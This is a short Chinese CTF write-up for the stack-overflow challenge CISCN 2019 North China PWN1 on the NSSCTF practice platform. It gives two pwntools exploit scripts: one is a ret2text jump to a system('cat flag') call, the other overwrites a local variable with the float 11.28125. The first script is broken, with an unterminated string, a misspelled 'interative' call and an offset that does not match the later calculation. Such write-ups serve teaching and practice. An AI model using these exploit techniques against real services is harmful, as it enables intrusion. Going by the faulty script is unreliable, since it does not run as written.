[CISCN 2019华北] PWN1

vstral 最后更新于 2024-12-02 19 次阅读 预计阅读时间:


题目来源:[CISCN 2019华北]PWN1 | NSSCTF

题目环境:ubuntu18

做题环境:kali2024.3

下载题目,IDA打开:

checksec查一下保护

发现可以利用栈溢出,而且没打开PIE

于是想到有两种利用思路:

  1. 利用ret2text返回到system('cat flag')
  2. 利用栈溢出覆盖使得v2等于目标值

第一种思路:

from pwn import *
io = remote('node7.anna.nssctf.cn',23629)
context.log_level = 'debug'

payload = b'a'*(44 + 4 + 8) + p64(0x4006BE)

io.sendlineafter(benumbed.\n',payload)
io.interative()

第二种思路:

先计算出v2变量的起始位置:根据v1和v2相对于rbp的距离,可以计算出需要覆盖的v1的大小为0x30-0x4=0x2C(注意h结尾的数字是十六进制数

然后可以看到11.28125在IDA里面的汇编是41348000h

exp:

from pwn import *
io = remote('node7.anna.nssctf.cn',23629)
context.log_level = 'debug'

payload = b'a'*0x2c + p64(0x41348000)
io.sendlineafter(b'number.\n',payload)
io.interactive()

此作者没有提供个人介绍
最后更新于 2024-12-02